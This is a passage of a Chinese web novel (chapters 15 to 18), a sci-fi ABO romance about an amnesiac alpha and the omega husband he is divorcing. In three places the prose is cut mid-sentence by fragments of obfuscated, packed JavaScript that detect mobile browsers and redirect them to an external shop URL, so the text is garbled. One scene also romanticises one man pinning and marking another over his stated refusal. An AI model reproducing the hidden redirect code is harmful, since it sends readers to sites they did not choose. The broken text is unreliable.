0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261856|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 上一个助理叮嘱过,他们蔺总最近不太正常,李助理也没往心里去。 蔺言又叹了口气。 怎么就这样了呢? 可是从那天开始,苏明清就彷佛认定了二十岁的蔺言不存在。 苏明清的爱就是:不注意的时候彷佛像是不存在,但一旦失去之后,才发现他已经进他所能的给出来了很多。 在家里对着蔺言时,完全无视蔺言。 家里的氛围降至冰点。 蔺言发现,苏明清这个人,也不如外表看起来的那么成熟,说是要离婚, 这个人简直坦诚到离谱的程度,真的决定离婚以后,一点也不带掩饰的,当着孩子的面该干什么就干什么,说不跟蔺言说话,就真的一点也不搭理蔺言了。 明明就一个人不跟自己说话,可是蔺言却好像被整个家孤立了,大家都兴致缺缺,不太爱说话。 原来家里的氛围变一个模样之后,这么难捱。 蔺言试图跟小孩搭话:“小育,今天的饭好不好吃?” “一般,怎么了?” 苏明清及时打断:“蔺育澜,对你爸爸有点礼貌。” 蔺育澜改口:“挺好吃的,怎么了,爸爸?” 蔺言:“……” 怪怪的。 等吃完饭,苏明清道:“小育,你先去楼上写作业,没人叫你不要出来。” 小孩点了点头,倒是很乖,没问为什么。 待他上了楼后,苏明清从口袋里拿出来了一份资料,递给蔺言:“如果我们离婚的话,我希望孩子能归我。” 16.第 16 章 第16章 蔺言的眼中充斥着不敢置信,没想到苏明清把人打发走,是想对他说这种话。 其实早就说好了离婚,但不知为什么,这次听见苏明清对着他讨论离婚的事宜,他感受到的并不是舒心,而是说不上来的心塞。 苏明清见他不说话,以为他不同意。 他的声音依旧冷淡,脸上的表情理性到根本看不出来他昨晚一夜没睡,“你也说过了,我们婚后二十年的记忆,你一点都没有,也就是说,你对孩子没什么感情,在这种情况下,我无法保证你能照顾好孩子,孩子理应归我。” 他的意思很明显了,不太希望蔺言和他挣孩子。 蔺言有点啼笑皆非的生气,盯着苏明清没说话。 苏明清不得已,道:“而且说实话,一般父母和孩子的感情,都是在孩子出生以后才逐渐培养起来。” 蔺言:“什么意思?” “意思就是,如果非要按照你的那套理论来说的话,”苏明清一顿,“他也算不上你的孩子。” 这话直接把蔺言说懵了。 “你承认他是你的孩子,无非是生理血缘关系无法否认,”苏明清道,“但实际上,你对他确实没什么感情吧?” 蔺言语塞,“不是,我根本就没有要和你……” “我不管你怎么想的,”苏明清强势到根本不给他争辩的机会,擦了擦嘴起身,“你就当,你去医院捐了一次精?这样想的话,会不会比突然多出来个孩子更好受一点?也不用投注什么感情了。” 家庭软化了苏明清身上的刺。 可不知道什么时候起,苏明清身上的刺再次冒了出来。 蔺言睁大了眼,苏明清已经施施然上了楼,没再往他身上停留什么目光。 ——这段时间明明不是这样的。 这段时间,就算蔺言再不想承认,只要他和苏明清待在同一个空间里,苏明清的视线就不会离开他。 他们确实是夫妻。 可现在,苏明清似乎彻底把他和另一个自己分开了。 并且迫切地想和他摆脱关系。 蔺言后知后觉得出这么一个结论。 而苏明清在上楼后,也抵住自己的卧室门,沉默了很长时间。 这间卧室不知道什么时候起,开始变得没那么温暖了,他待在里面,时常会感觉到手脚冰凉。 苏明清对着房门的操控系统,叫了一下佣人。 “都已经十一月份了,家里的恒温系统打开了吗?” 佣人听见他询问,立刻道:“我查看一下,苏先生。” 片刻后,佣人回他:“已经确认打开了,目前房间的温度都保持在二十四摄氏度,相对湿度在百分之四十,以往冬天都会开到这个温度,您是想再往上升温吗?” 苏明清沉默了片刻:“……不,不用。” 他举起自己的手,因为手指冰凉,所以他的整个手部都表现出一种无机质的苍白,抬眸时刚好能看见敞开的卫生间里的镜子,脸上也没有一丝血色。 因为以前这个时候,只要蔺言在家,都会把他的手脚揣到怀里,暖热乎了才给他拿出来。 原来是因为有蔺言。 在和佣人说完话后,苏明清又一次无所事事了起来。 透过窗户,他看见别墅门口,属于蔺言的车缓缓驶出,看样子是又有了工作要忙,刚刚两人的谈话,似乎并没有在蔺言那边留下任何涟漪,他该做什么就去做什么了。 苏明清想,他呢? 学校的工作很轻松,不仅周末双休,他只教一个专业的,一周排不了几次课,备课方面也得心应手,每周抽出一个下午来备课就好,当年他选择这份工作,就是因为这份工作足够清闲。 清闲到可以照顾孩子,照顾尚且生活不能自理的蔺育澜。 苏明清想起蔺育澜,眼中终于有了几丝光亮。 然而当他打开门,迈着步伐向蔺育澜的房间走去时,却发现蔺育澜还在上课。 孩子年龄大了以后,正是吸取知识、打基础的时候,为了给他养成好的习惯,光家教老师就有三个。 这三个还是苏明清大浪淘沙之后剩下来的。 事情安排好给老师后,这方面苏明清也不用再操心。 就剩下了吃喝玩乐。 而这些苏明清都不擅长,于是就变成了蔺言奉陪。 至此,苏明清发现,他在这个家里,并没有什么事情要做。 那他平时都在干什么? 苏明清在家里逛了一圈。 卫生不需要他插手,家里有佣人,而佣人也不需要他管理,蔺言开发了一个管家系统,自动排班管理。 饭不需要他做,家里有三个厨师,一星期轮流做饭,每天都是不一样的菜系。 甚至就连下午茶——像他这样清闲的omega们时常会在一起聚会,他不喜欢和一群不熟悉的人假装很熟,甚至还会在一起谈论和丈夫的房事、私密的细节。 ——那除了这些之外呢? 苏明清想不起来了。 他发现他做的最多的事情,就是和蔺言在一起做.爱,alpha像一头精力充足的野兽,但凡在家的时候,一定会拉着他腻在一起。 他现在记得他和蔺言在什么地方有过,在哪个地方发生了什么,又在哪里让他搞什么。 独独想不起来,他的生活是什么样子。 * 蔺言在工作结束后,收到了他妈的光讯。 不是简简单单的电话,她选择了全息通话,脸上的神情都纤毫毕现,好像就站在蔺言面前骂他。 “妈,”蔺言头疼,“您想干什么?我在还外面呢。” 蔺母道:“我管你在外面还是在里面,抓紧给我回家一趟。” 蔺言问:“回家?你身体不舒服?还是发生了什么事?怎么突然叫我回家?” “你都要跟小苏离婚了,这么大的事情,还不兴回家一趟?”蔺母道,“记得把老婆孩子都带上,我们全家坐一起谈谈。” 蔺言以为他们终于松口,想了想,答应了。 就是苏明清那边,不知道该怎么说。 最后,他选择给苏明清发的短信,这个最古老最原始的通信技术,甚至没办法确认对方能不能看见。 * 夜晚,华灯初上。 车内的氛围安静窒息,随着夜幕降临,车内也昏暗无比。 苏明清和蔺言并肩坐在后排,相顾无言。 蔺育澜还在上课,家教老师说最后一个小节,两人才到了车内等,现在很显然老师拖堂了。 这次的氛围,比之前两人出去在媒体前假扮恩爱夫妻还要尴尬。 突然间,司机探身,将车内的照明灯打开,两人一下子无所遁形,蔺言从后视镜看见了自己僵硬的表情。 和两人第一次见面,蔺言主动搭话想缓解苏明清的尴尬一样,这次依旧是他忍受不了先开口。 “这家教老师还挺负责……” 苏明清道:“应该是蔺育澜喜欢听,在缠着他问问题。” “哦。” 一句话把所有的话都堵死了,很明显,苏明清没有任何延伸话题的意思。 又静坐了片刻,蔺育澜的身影总算出现在了别墅门口。 蔺言松了口气。 但他又停了下来,和保安亭里的保安说起了话。 蔺言:“……” 以前没发现,他生下来的儿子还是个交际达人。 “还有一件事,”苏明清看着门口的蔺育澜,忽然道,“小孩也就算了,很多事情和他说,他都能想明白,你爸妈那里,我希望暂时瞒着他们。” 蔺言升起一股不好的预感,“什么?” 苏明清皱眉,“你该不会已经说了吧?” “你爸高血压,”苏明清道,“你妈前年体检,也发现了几个乳腺结节。” ……蔺言都不知道。 苏明清今天彷佛打开了毒舌开关,嘴巴跟淬了毒一样,“蔺言,我都不知道,原来你十几岁的时候,还喜欢跟家里任性。” 这时候不管反驳什么,都显得蔺言喜欢狡辩。 明明在医院时,蔺言看着他父母保养得还不错,变化不大,原来身体早就有问题。 二十年又一次带着具体的形状展现在蔺言面前, 苏明清道:“除了孩子,我最不放心的,就是……你爸妈,结婚以后,他们给了我很多亲情,假如我们离婚,最伤心的应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267693|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该就是他们,我知道这条合约里没有,但如果你也顾及着你爸妈,去了以后不要刺激他们。” 蔺言沉默片刻,算是默认。 * 还没进家门,远远的就看见两个人影等在门口,司机开着车过去时,果然就看着了蔺父蔺母站着。 一瞬间,他们就认出来了他们的车,朝着他们挥手。蔺育澜等不及,飞似的下车,扑进了蔺母的怀中。 “哎呦看看这是谁啊?哪家的乖小孩跑出来了?” “爷爷奶奶!” 蔺言下车,叫了一声爸妈。 他妈给了他一个瞪眼,视线看向苏明清,“小苏也快进来,等你们等好久了。” 苏明清难得脸上带着笑。 随后,他挎上了蔺言的手臂。 蔺言一僵,但这次很快放松了下来。 他发现他对蔺言也并非全然抗拒,起码在接触过几次后,尤其是闻到苏明清的信息素之后,他总是忍不住去更多的寻觅这个味道。 就像是上瘾。 蔺母的视线扫过他们两个,看见他们没有想象中那么糟糕,脸色总算好看了不少。 进屋时,饭早早就摆在了桌子上,蔺母道:“不知道你们什么时候来,饭半个小时前就做好了,现在是温热的,要是嫌凉,我再让保姆热一遍。” 蔺言下意识道:“那就热……” “不用了,妈,”苏明清上前,主动坐下,“吃太热的食物也不好,就这样吃吧。” 蔺母笑着道:“还是小苏懂事。” 坐下后,蔺言环顾四周。 家外面的变化不大,但是里面的构造都变了,要不是偶尔能看见一两件老家具,他都不敢相信这是他从小生活的家。 但这才是他家。 在他从医院醒过来之前,他的记忆就是他下课先回了一趟家,把上课要带的东西全部放下,才去赴约。 蔺母就在厨房里,还问他要不要留在家里吃饭。 记忆还历历在目,然而已经完全不同。 蔺言恍惚了一下,就看见蔺母给苏明清夹了一块肉,笑着道:“尝尝,你介绍过来的厨师手艺真是不错,人也好,厨房里的事情我跟你爸再也没操心过,省了不少心。” 苏明清也笑着,“你们吃着好吃就行。” “不过啊,”蔺母道,“我觉得家里的保姆太多了,其实我跟你爸两个人,用不到这么多保姆,随便弄个智能管家机器人也没什么。” 苏明清询问:“是他们做的不好?” “那倒不是,都很好,”蔺母道,“老年人了嘛,没那么多的需求了,我俩平时坐在藤椅上喝茶,一坐就是一上午,顶多让人给添点水,这活机器人也能干啊,没必要浪费人力。” “保姆能做到的东西,机器人未必能做到,这些智能用品到底是有弊端,所以人工那么珍贵,”苏明清道,“您平时感觉不到什么,一旦有个头疼脑热的去医院,机器人可没办法陪同。” 蔺母连连点头,阴阳某些人,“我就说家里有个omega好吧,要我说,我当年也想生个omega,alpha只会气人。” 她又问:“对啦,小苏,你前段时间给我拿来的那个全息锻炼游戏该怎么用?我都找不着开关!” 苏明清道:“我等会儿给您看看。” 他们聊得开心,蔺言则愣在一边,倒像个外人。 蔺母说的事情,他统统都不知道,也许没失去记忆前是知道的,可现在他只能像一根木头,静静听着苏明清如数家珍,跟蔺母嘱咐各种事情。 再看他爸,孩子到了以后,眼睛里没别人了,不知道从拿摸索出来个小玩具,和蔺育澜对着头一起看。 蔺言轻咳,“那个……” 苏明清替他解围,“爸妈,我们先吃饭吧。” 手上有了事情做,蔺言总算有了喘息的时间,对着苏明清悄声道:“你给我爸妈下迷魂药了?” 怎么就只向着苏明清啊? 他爸妈这意思,要是他还看不出来,就枉费做了他们二十年的儿子了。 苏明清没说话,筷子倾斜了一点角度,正正好“意外”打在了蔺言的脸上。 蔺言:“……” 故意的! 17.第 17 章 第17章 蔺言是看明白了。 他妈嘴上说叫他过来全家一起商量,实际上根本没打算跟他商量,他们的意思就一个——他们自己也能过得很好,他要是想离,自己过。 和之前电话里跟蔺言说过的一模一样,言行一致。 吃完饭后,他们饭后闲谈,蔺言找了个机会开溜。 谢天谢地他们家的露台还没拆,给了他一丝喘息的机会。 要不是蔺言不会抽烟,他此时此刻还真想来一根,这郁闷的心情都没办法排解。 身后是灯火通明温馨但是和他一点关系都没有的家。 身前是露台的冷风无情地吹过他的面颊。 透过窗户,蔺言盯着侧头和他妈说话的苏明清。 他想起来以前的时候,他还怀疑过苏明清是不是面瘫,因为这个人彷佛不会笑,每天对着别人时都是一个表情,偶尔才能从他的脸上看见被隐藏得很好得戏谑。 他就那么冷眼旁观所有人,好像别人活着就是为了让他站在上帝视角观察,从来不融入。 现在他确信了,苏明清应该和面瘫没什么关系。 那以前为什么会那样,因为每天都不开心吗? 蔺言发觉自己竟然在非常认真的思考这个问题。 他,居然在想,苏明清是不是不开心。 在意识到这点后,蔺言汗毛都竖起来了一下,接着扭过头去,看着露台之外邻居家的灯光。 身后传来露台门推动的声音。 蔺言转身,看见了他妈。 “我还以为你已经不把我当成儿子了呢,没想到竟然还能注意到我。”他嘲讽。 蔺母道:“我倒是也想,你这么大的个子,站在哪都显眼,瞎子才看不见你。” 蔺言:“……李女士,自我从医院醒来之后,你对待我的态度就很恶劣,是不是需要反思一下?” 蔺母道:“行啊,我反思。” 几秒钟后,她诚实道:“理智告诉我,我不应该和一个病人计较,但是每次看见你就来火。” 母子俩相处和其他家庭不太一样。 以前还上学时,蔺言就知道这一点了,熟悉的互怼,倒是让他放松了不少。 蔺言指着自己:“你说谁是病人?我?” “不是你还能是谁?”蔺母道,“出了车祸被撞,还失忆了,到现在都没有痊愈的迹象,并不是不在医院住院就不是病人了,蔺先生。” 蔺言本想反驳,脑海中闪过他想起来的陌生画面,又住嘴。 “也幸好你还有个失忆作为根据,”蔺母道,“否则我还真以为你疯了,才会想着和小苏闹离婚。” “你为什么不觉得,我当初是疯了才会想着和他结婚?”蔺言不敢置信,“妈,你还记不记得,我以前跟你说过我有一个特别讨厌的校友。” 蔺母疑惑,“你是说那个在课堂上无视你,总是喜欢和你作对,眼睛长在头顶上的同学?” 蔺言没想到她还记得,“对,这人就是苏明清。” 蔺母一脸“你在开玩笑吧”,笃定道:“小苏才不是这种人。” 蔺言:“……” 还是掀过这个话题吧,蔺言道:“妈,不是你以前跟我说,你不是那种喜欢跟儿媳搞好关系的婆婆吗?你以前还跟我说,如果有一天我结婚了,让我带着老婆有多远住多远,怎么二十年过去,你还变卦了?和人家关系搞那么好。” 贫了半天,总算问到了重点。 蔺母哭笑不得之余,又有点放松下来——如果完全没有好奇,才是真正的灾难。 她悠悠道:“因为小苏人很好啊。” 蔺言不置可否,他以前可没看出来苏明清好在哪里。 顶多就是最近……那次看苏明清收留流浪猫,还记着他过敏,这点不错。 “孝敬长辈就不必说,”蔺母道,“你如今做的慈善,都是小苏提议的,还和你一起成立慈善基金会,你别的工作他未必会帮忙,但有慈善的活动肯定会和你一起去,他心细又善良,只是面冷心热,很容易被误解。” 蔺言彷佛从她嘴里听另一个人的故事。 蔺母最后道:“更重要的是,当年是你努力拉近我们婆媳关系的,你怎么不问问你以前是怎么想的?” 蔺言愣住。 蔺母已经抢先一步出去,“别在室外吹风了,要是离婚,以后感冒了可没人半夜不睡觉照顾你。” 苏明清闻言抬起头,与蔺言遥遥对视。 下一秒,两人同时挪开视线,蔺言脸上满是不自在,而苏明清是有些疲惫的冷淡。 晚上睡觉前,苏明清提前跟蔺言说:“我已经拜托你妈收拾出来了一间客房,小育跟你妈睡,我去客房睡。” 蔺言颇为不自在,“要不你睡我这间?” 苏明清一顿,“不用。” 他还没换上家居服,这时蔺言才发现,他今天的穿着有些过分休闲,身上都是宽松且棉柔质感的衣服,衬得他十分年轻,甚至稚嫩,乍一看和大学生差不多。 紧迫感褪去,他似乎还有点迷糊,眼帘半垂,整个人安静且不太精神。 “等等,”蔺言上前几步,似乎想追过去,又及时止住,“我的意思是想问,客房暖和吗?如果被子不够,可以再拿一床过去。” 苏明清似乎有意和他拉开距离,冷淡得拒绝,“不用了,谢谢。” 这次蔺言眼睁睁看着他走了。 他家里的走廊并不长,在以前,这栋房子只是个旧区小洋房,和他们如今住着的新区别墅不能比。 也因此,转瞬间苏明清就已经不见。蔺言的视线从半旧的墙角,滑向他熟悉又不太熟悉的卧室。 二十年过去,他卧室里多了很多他陌生的东西。 比如映入眼帘的,硕大的婚纱照。 蔺言十分想忽略掉它,然后若无其事地在自己这张有几十年历史的床上,平安无事的睡过一夜。 他来回走过几次,到底是没忍住,站在了照片面前。 这应该是他们感情正浓时拍下来的照片——废话,刚结婚,眼睛里都快流蜜了,只有苏明清直视镜头,而他自己,他本人,只顾盯着苏明清看,眼神像是下一秒就要把人吃了。 这副“蠢向”令蔺言扶额,都不敢想当时给他们拍摄的摄影师吃了多少狗粮。 又会不会觉得他脑子有病。 蔺言拿起脖子里搭着的浴巾,直接盖上,眼不见为净。 躺下没睡几分钟,蔺言再次睁开了眼。 他慢慢走过去,又把浴巾拿了下来。 卧室里只亮了一盏小夜灯,给这张雪白的照片蒙上了一层温馨的暖光,但幸福洋溢的感觉依旧夺目。 照片中,蔺言搂着苏明清的肩膀,头朝着摄影机的方向,眼神却落在苏明清的脸上,几分漫不经心中透着十足的占有欲,肢体语言充斥着侵略性。 苏明清则看着镜头,嘴角带着淡淡的笑容,眼睛也满是笑意,身体微微靠近蔺言的方向,表现没那么外放,但也能看出来很喜欢蔺言。 右下角是照片的日期,3002年8月19日。 这是,毕业就结婚了吗? 那在学校的两年,他们之间到底经历过什么? 蔺言的好奇心膨胀到了前所未有的地步,卧室里既然有他们的结婚照,那肯定也有其他东西吧? 对于失忆的蔺言来说是未来,对于二十年后的蔺言是过去的记忆。 他先从书桌开始翻找的。 没找出来什么有价值的东西,倒是找出来了几本笔记,蔺言没记得自己有写日记的习惯。 打开看了看,发现果然是几本课堂笔记。 在他想放回去时,掉落了一张照片。 照片中的人是苏明清,穿着毕业学士服。 只有单张吗? 在蔺言想打开再翻找一下时,又有一个东西吸引住了他的目光。 是一个很破旧的微型记录机。 这是一个功能比较单一的智能产品,主打的就是“智能记录生活并生成视频”,说白了就是拍照录视频,但是当年上架后,因为网络营销而变得十分火爆,一机难求,没想到这么多年过去,它也静悄悄被时代给淹没了。 蔺言拿起来,想看看还能不能用。 如果他没记错的话,这个东西会自己捕捉生活事件,比如你今天撒了咖啡、上学迟到被老师训、和人约会比较开心,但凡让人情绪有波动的事件,它都会记录下来。 拿过来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272753|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,果然没办法开机了,又充了充电,还是不行。 蔺言打开光脑,尝试搜索一下它的型号。 上面显示,机器制造商叫翎星技术公司,公司还在,这款机器的产线已经停止了,还有几个科技交流论坛,也早就无人问津。 论坛人最后吐槽的是:[我只是想记录生活,没想到被这东西窥探了隐私,我的个人信息全被泄露完了,前不久还有人打电话问我想不想去流浪星挖稀有矿产,老天爷,我真怕有一天被这个公司给卖了。] 怪不得产线倒闭。 蔺言毫无同情心,后来终于在某个网站上找到了重启的办法,自己尝试了一下。 没多长时间,终于开机。 蔺言以为里面可能没什么东西,或者有东西也很少,按照某些omega对他的评价,他这人在生活中着实没什么情调,不是那种喜欢记录生活中鸡毛蒜皮的事情的人。 出乎意料的是,里面的视频很多。 蔺言只点击了一下,接着就灵敏地播放了。 视频起先非常晃,摄像头似乎被什么东西给蒙着,距离太近导致直接黑屏,只能听见细细簌簌的声音。 他听见了自己的声音,气息不太稳定。 “舒不舒服?” “嗯?乖乖?” 蔺言逐渐感觉到了一些不对。 片刻后,水声渐止,摄像头前的东西离开,露出来了苏明清迷蒙的脸。 他整张脸都呈现出一种水汪汪的粉红色,某些冰冷的面具,像是被敲击碎裂,露出冰山下温润的潺潺溪流,微微启唇,红唇中探出更加艳红的舌尖,几乎是迷茫地看着“他”。 蔺言已经懵了。 他听见自己的声音继续问:“还要不要?我完全听从你的意愿,你说继续就继续,不舒服我肯定停下来。” 像是在蛊惑一个小孩要不要吃糖。 看出来小孩的迷茫和踌躇,于是故意把危险性降低,引诱他吃下这口糖果。 “他”的手抚上苏明清的脸颊,以前蔺言从来没发现过,苏明清的皮肤也可以嫩成这样,稍微一搓就会留下印子。 “不会有什么的,只不过是一个临时标记,”“他”凑近苏明清的脸,又亲了一口,“生物课上我们都学过,临时标记一星期就会被人体代谢掉,如果你贴上信息素阻隔剂,更是没人知道我们有过什么。” 记录仪中的画面,能看清苏明清红透了的耳朵。 他在颤抖,臊得根本不敢看人,完全看不出来平时的强势,简直像一颗熟透了的桃子,浑身透着omega的可怜和可爱。 蔺言知道,他该退出去。 可迟迟摁不下关闭键。 反而放任“自己”说了更多、更过分的话。 “你不让我标记的话,我亲一口行不行?”蔺言鼻尖已经抵住了他后颈的腺体,“亲一口,你连阻隔剂都不用贴,不会有任何信息素残留,我只是亲。” 苏明清已经提前一步捂住了后颈处腺体,羞愤欲死,“不……” 蔺言不止亲了,他还舔了舔。 苏明清肉眼可见的僵住,像一只被叼住了后脖颈的小猫,随后,他双眼紧闭,咬牙忍痛。 蔺言这个混蛋! 他僵硬中带着一股杀意,却被蔺言提前反扣住双手,直接压在沙发上,边咬边哄,“我说过只是临时标记……” “我要杀了你!” 蔺言不要脸道:“杀,让你杀。” 很少能从苏明清的脸上看见这么生动的表情,可见气得不轻。 可很快,不过十几秒钟的时间,苏明清就慢慢安静下去,只能趴在沙发上轻轻喘气。 眼见画面逐渐禁忌,蔺言立刻退了出去。 他控制不住点了下一个视频。 下一个视频比这个还过分。 点进去镜头就晃得不成样子,蔺言再一次手疾眼快退了出来。 一连十几个视频,没什么有用的信息,唯一能看出来的是,他还挺主动。 苏明清在他们的关系中,是属于防守的一方。 合上记录仪,蔺言更加茫然。 到底是为什么,他会忽然对苏明清态度一百八十度大转弯,从厌恶到喜欢……不,是痴迷他? 18.第 18 章 第18章 也许是夜晚看得东西太劲爆,蔺言一晚上都在做梦,梦里的内容都很琐碎,还有好几个画面是他把苏明清摁在身下。 第二天一大早醒来,立刻就发生了两个不幸的消息。 第一个,是被单脏了,他像个青春期的毛头alpha一样,把他的睡衣和被子床单全弄脏了。 第二个消息是,他有点头晕和鼻塞,疑似感冒。 他没想过,有一天在自己家里也能活得这么刺激,自己偷偷摸摸洗衣服,等洗完之后,头晕更加厉害。 楼下厨师已经准备好了早餐,一家人都在餐厅里坐着。 蔺言下楼时,看见了沙发上坐着的助理。 “你怎么在这里?” 助理起身,立刻道:“是这样的蔺先生,我们之前有个项目,合作商那边迟迟谈不下来,今天他们公司那边忽然有了回应,我提前过来问您的意思,要不要今天临时加行程。” 一般像蔺言这种身家,大部分行程都是提前安排好的,有些人对于临时加塞很恼火,觉得掉身价,有些人就无所谓。 蔺言并非炮仗型老板,一点就炸,他做事一向只看质量,不会穷讲究。 他刚想答应,苏明清却突然问:“你是不是不舒服?” 别人看蔺言,只觉得他一切正常。 只有苏明清发现了他不对劲。 蔺言有一瞬间,多盯着苏明清看了几眼,像是有些呆滞。 昨天那些刺激的画面,满脸红晕的苏明清,和眼前这个面无表情的苏明清重叠,他反应了一下,一种尴尬而微妙的感觉在心中蔓延。 蔺母也道:“你生病了?我就说你昨天去露台吹风不行,找医生……” “不,”蔺言一口否决,“我没事,什么事情都没有。” 他转而对着助理道:“对方想见面,就联系他们约时间吧,我需要你给我把他们的资料和我们公司的项目找出来给我过目。” 助理应了一声,开始飞讯联络,“蔺先生,我们今天上午九点到下午两点之前都有时间,对方也觉得这个时间不错,可以一起吃个午餐,对方说会面的地点您可以定,或者他们提前预约好场地。” “这个无所谓,”蔺言道,“让他们自己……” 蔺言低头查看,眼前又是一阵眩晕。 苏明清微微攥紧了筷子。 蔺母也十分担忧,站起身,“你都病了,要不今天的工作就先推了吧?你公司现在也不差这么一两个项目,休息一天也没什么。” 蔺言皱眉,“妈,我真没事。” 苏明清站起身,手搭在蔺母的肩膀上,让她坐下,“妈,您别担心,我今天陪着他一起过去。” “这……” 苏明清冷静道:“有我在,不会出事,您放心。” 蔺母被他的话安抚住,安静了下来。 蔺言勉强吃了几口饭,司机已经在外面等候,苏明清安排好蔺育澜的日程,就跟着他进了车里。 蔺言闭目养神,轻声道:“谢谢。” “不用谢,”苏明清的眼中有一丝涟漪,“我不是为了你,我说过你爸妈对我很重要。” 蔺言听着他的声音,脑海中却又出现了苏明清气息不稳时的语气。 不似这么冷淡,很像是快被气炸了,又无可奈何的委屈,一点冷静都没有。 别想了,别想了。 那边,司机的光迅传来一条信息,是助理把行程发了过来。 “蔺先生,”司机询问,“今天是陪着苏先生去学校吗?” “什么学校?”蔺言皱眉。 “王助理发过来的行程,目的地是苏先生的任教学校啊。” 蔺言和苏明清同时对视一眼,与此同时,资料也发到了蔺言的光迅上,他低头查看,看见熟悉的公司名字时,愣住了。 翎星科技公司。 这不就是…… 昨天那个记录仪上的公司名字? * “哪家公司谈事情约在学校里?”苏明清还不知所以。 学校里认识他的人不少,时不时就有视线往他的身上打量,他倒是镇定自若,完全无视了别人的窥视。 蔺言的眉头,从看到那份资料开始,就没松开过。 苏明清询问:“你们谈合作之前,对这公司做过背调吗?谈的是什么合作?地点到底是你定的还是他们定的?” “他们定的,背调做过,他们家有非常出名的产品,”蔺言道,“合作的话,他们专业确实对口,就是……” 这也太巧了。 蔺言道:“看来他们过来还有段时间,我们先走走?好久没回母校了。” 苏明清皱眉,看他的表情,要不是克制着,肯定已经骂人了。 奇怪的是,蔺言今天被他这种眼神看着,丝毫没有恼怒的感觉,还有一丝非常怪异的享受,美滋滋的。 毕竟在家里,是苏明清第一个看出来他生病。 蔺言领先在前,苏明清无法,只好跟了上去,助理默默缀在他们身后,努力降低存在感。 “我们的合作,约在这里也确实正常,”蔺言都没想到,他会对苏明清这么有耐心,一点一点解释,“你知道的,目前公司里除了小产业链,还有一直没尝试成功的大器械,尤其是机甲,机甲离开我们星系后,有致命缺点,黑匣子极其容易损坏、音频功能失效,而他们公司有目前最先进的技术,可以改善这一点,国内最大的训练场也在星大,可以实地查看。” 苏明清皱起的眉头总算松了。 蔺言没意识到,他现在这副模样,已经慢慢有了二十年后的雏形。 他观察苏明清的表情,发现他没那么不高兴后,还松了口气。 两人已经走进了一个训练场。 里面还有积极训练的学生,他们学校注重实操,实操课分数的占比会更大,每每期末,训练场比图书馆还热闹。 回忆瞬间如同微风,慢慢拨动两人的心弦。 “我还真是……”蔺言环顾一圈,“太久没回来了,这里是不是重建过?感觉很陌生。” 故地重游,还是和旧人一起,苏明清的态度也没昨天那么针锋相对了,“是重建过,你出的钱。” 蔺言知道自己有钱,但没想过,自己能这么有钱。 有钱到能自掏腰包,帮学校重建训练场,而且不用说……肯定是因为苏明清。 因为有他们的回忆。 “这是我们专业用的那个场地吗?”蔺言脑子里只有两人打架的回忆,实在想不起来什么美好的,干脆避开敏感话题,“还真有点认不出来了。” 苏明清道:“对,这就是我们上第一节课,你用机甲把我扫在地上的那个场地。” 蔺言:“……” 原来苏明清也都记着呢。 “咳,”蔺言道,“马上到约定的九点了……” 砰!忽然有人驾驶着机甲,从上空猛地停在了地面上。 训练场有一瞬间的地震,有些毫无防备的学生直接跌坐在了地上,苏明清也差点没站稳,被蔺言扶了一把。 两人的手攥在一起。 工作人员大喊:“哪个老师的学生?有你这么操纵机甲的吗!你给我下来!” 几乎有五米高的大家伙,中间圆形的操纵仓缓缓掀开,露出一张年轻飞扬的脸,这人染了一头绿色的头发,还恶劣地笑着。 “我没违规操作吧?怎么了?” 工作人员气得不轻,“你给我下来!” “我凭什么要下去?”年轻学生重新合上操纵仓,机甲的机械腿上抬,堪堪从工作人员的脑袋顶扫过去,“我的练习时限还没到呢。” 工作人员抱头蹲下,见他转身要走,破口大骂,翻看登记表。 “你老师是谁你都没填?!你是不是偷偷混进来的?信不信我停了你的操纵仓?你知不知道偷偷驾驶机甲犯法?” 对方闻言,倒是乖乖回来了,像是疑惑,“嗯?我怎么没填呢?” 接着,他笑着道:“那你帮我填上吧,我老师是苏老师,知道哪个苏老师吗?” 一个专业里没几个老师,重姓的概率很小。 苏明清皱眉,他不认识这个人。 眼见工作人员边不忿边要写名字,一只大手及时制止住了他。 “妈的,你们今天一天就不消停了是吧……蔺先生?” 在这个学校的,就没有不认识蔺言的。 蔺言松开他,往苏明清的方向示意,“苏老师就在那里,这个学生可能有点问题,介意我们帮你看看吗?” 对方连连道:“当然可以。” 苏明清走过来。 “苏老师!”工作人员叹气,“这人从开馆就来了,还排了很长时间队,他上机甲后我发现他危险操作,一看登记表发现他根本没登记,他说他是您学生,您认识吗?” 苏明清道:“我不认识。” 这下麻烦大了。 工作人员简直要抓狂,偏偏他上班遇见这种事。 苏明清问:“他不肯下来吗?我记得二楼观望台有中控室,你需要把机甲的能源停掉。” “可下面还有这么多的学生呢!” 苏明清眺望过去,训练场里聚集了起码有一百多个人,有学生也有工作人员,机甲从半空掉落,将会造成巨大损失。 正在这时,机甲停了下来,朝着苏明清的方向飞速驶来。 蔺言几乎是下意识的动作,他瞪大了眼睛,怒吼道:“小心!” 瞬间就把苏明清护在了自己身后。 